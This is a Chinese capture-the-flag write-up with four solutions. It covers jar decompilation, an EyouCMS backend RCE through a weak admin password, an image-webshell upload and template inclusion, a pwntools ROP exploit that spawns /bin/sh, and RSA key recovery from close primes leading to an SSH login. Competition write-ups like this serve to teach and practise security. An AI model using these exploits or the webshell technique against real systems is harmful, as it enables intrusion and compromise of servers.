REVERSE02
下载题目附件,这个题和之前朱雀杯逆向题有点像,非预期
附件是个jar包,该后缀为zip解压
打开14440565f878414e8a83c82b79862243\WhackAMoleGame_flag10\lilLLIIi1iL1\li1l1Li11Ll的位置
打开最后那个class文件,搜索flag的位置
拿下flag
WEB01
打开题目,发现是个eyoucms
信息收集发现v16.4存在一个未修复的rce
后台登录点在/login.php:
有一个登录口,尝试一下弱口令:admin/admin
https://github.com/Nacl122/CVEReport/blob/main/CVE-2023-42286/EyouCMS%20Backend%20RCE.md
由于网上有POC所以跟着走就行了
先去接口配置进行文件上传
在这里上传文件
上传一个图片马
去模板管理界面进行文件包含
编辑/template/pc/index.htm,包含上传的图片,并提交:
回到主页查看源码,发现执行成功,存在flag.txt
那么接下来就同理,再次上传读取flag:
再次进行包含,访问主页即可查看flag:
PWN2
题目去除符号表,但可以通过调试观察syscall参数,猜出各个函数大概功能。
主函数中首先fork进程。
子进程绕过if判断进入下一个函数
可以打印出canary并且有0x40读入。(没有溢出)
但观察汇编可以发现
在0x4019b0处有一个cmp,这里rbp-0x28的地方是可控的,所以这里填入1,即可绕过后边的exit而进入函数下方0x40186b
这里观察汇编发现
这里有一个cmp [rbp+var_11C], 11111111h
判断成功即可跳出while循环返回,同时经过测试,这里输入0x200个字节可以造成溢出。最后在程序里搜索gadget执行execve即可。
exp
from pwn import *
r=remote('0192f5595a447f1a8f422e5e796013f2.ey5v.dg03.ciihw.cn',44845)
# r=process('./pwn')
elf=ELF('./pwn')
libc = elf.libc
pop_rdi = 0x000000000040213f#: pop rdi; ret;
pop_rsi = 0x000000000040a1ae#: pop rsi; ret;
pop_rdx_rbx = 0x0000000000485feb#: pop rdx; pop rbx; ret;
pop_rax = 0x0000000000450277#: pop rax; ret;
syscall = 0x000000000041ac26#: syscall; ret;
r.recvuntil('gift: ')
canary = int(r.recv(18),16)
print("canary----------------->",hex(canary))
r.recvuntil('leave your name')
payload = p64(0xffffffffffffffff)*5+p64(0x100000000001)+p64(0xaaaaaaaaaaaaaaaa)*2
r.send(payload)
r.recvuntil('Wanna return?')
r.send('a')
r.recvuntil('once again?')
payload = 'a'*0x100
r.send(payload)
r.recvuntil('once again?')
payload = p64(0x1111111111111111)*0x21 + p64(canary)*2
payload += p64(pop_rax) + p64(0) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(0x4C7F00) + p64(pop_rdx_rbx) + p64(0x400)*2 + p64(syscall)
payload += p64(pop_rax) + p64(59) + p64(pop_rdi) + p64(0x4c7f00) + p64(pop_rsi) + p64(0) + p64(pop_rdx_rbx) + p64(0)*2 + p64(syscall)
# gdb.attach(r)
r.send(payload)
pause()
payload = '/bin/sh\x00'
r.sendline(payload)
# gdb.attach(r)
r.interactive()
web03
打开⽹页
尝试访问 robots.txt
发现有个⽂件以及⽤户名和密码,尝试下载这个⽂件
wbStego4⼯具去隐写
密码为空
得到⼀份像是base64编码的内容,着重看 AAAA开头的内容,与ssh/known_hosts 的⾏开头很相似
我的系统内的⽂件:
猜测其可能是 ssh 公钥,于是尝试转换+解析
"""
$> ssh-keygen -f base64.pub.key -e -m PKCS8 >
public.key.pem
255
"""
from Crypto.PublicKey import RSA
path = 'public.key.pem'
with open(path, 'r') as f:
key = RSA.import_key(f.read())
e = key.e
n = key.n
print(f'e: {e}')
print(f'n: {n}')
"""
e: 65537n:
1547313234205595455878074350337711262879930458419864589526
7270016124133490922098456166112042641326832865833651985277
5304576780744439804331085798302989621339474335277128655905
8543156663298343084350194669565588737238347971603891731726
9141215074859439934216381040714018271595168426357226026198
7651766180210810224152212373370447759543939164971068994075
8920045395592384906328852640372553178169995925146775639702
5462984686365248488495366710314704482655593149707807258497
4776522254450699943765269853108248047391942598122243597928
1657356279778452594305430394526113108749923548260319150429
2886444952159639040155783760580411749
"""
# 尝试yafu分解 很快就能分出 p,q
p =
1243910460686618494793680484423682645286881370618598894207
4813508953071153198287909922836557945350791497180864509870
7899792342947071605270753221189146520461936329644320307671
2562824769761068926696219367656575138383210413738940481382
5007635409302321353504203883456061847769245032705614570206
8970492978556584563
q =
1243910460686618494793680484423682645286881370618598894207
4813508953071153198287909922836557945350791497180864509870
7899792342947071605270753221189146520461936329644320307671
2562824769761068926696219367656575138383210413738940481382
5007635409302321353504203883456061847769245032705614570206
8970492978556583623
N = p * q # key.n factorize
e = 65537 # key.e
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)很轻易的分解n后⽤p,q,构造d,借助 Crypto.PublicKey 构造⼀份私钥⽂件,最
后链接即可
wdflag{s95v5xv0fg63spffcsanduzrt4gf9n4g}
key = RSA.construct((N, e, d))
with open("id_rsa", "wb") as f:
f.write(key.export_key("PEM"))
很轻易的分解n后⽤p,q,构造d,借助 Crypto.PublicKey 构造⼀份私钥⽂件,最后链接即可
然后ssh连接
ssh -i id_rsa root456@0192f56c882d7e979e7c73e64fdba923.bk2z.dg08.ciihw.cn -p 45387
即可拿到flag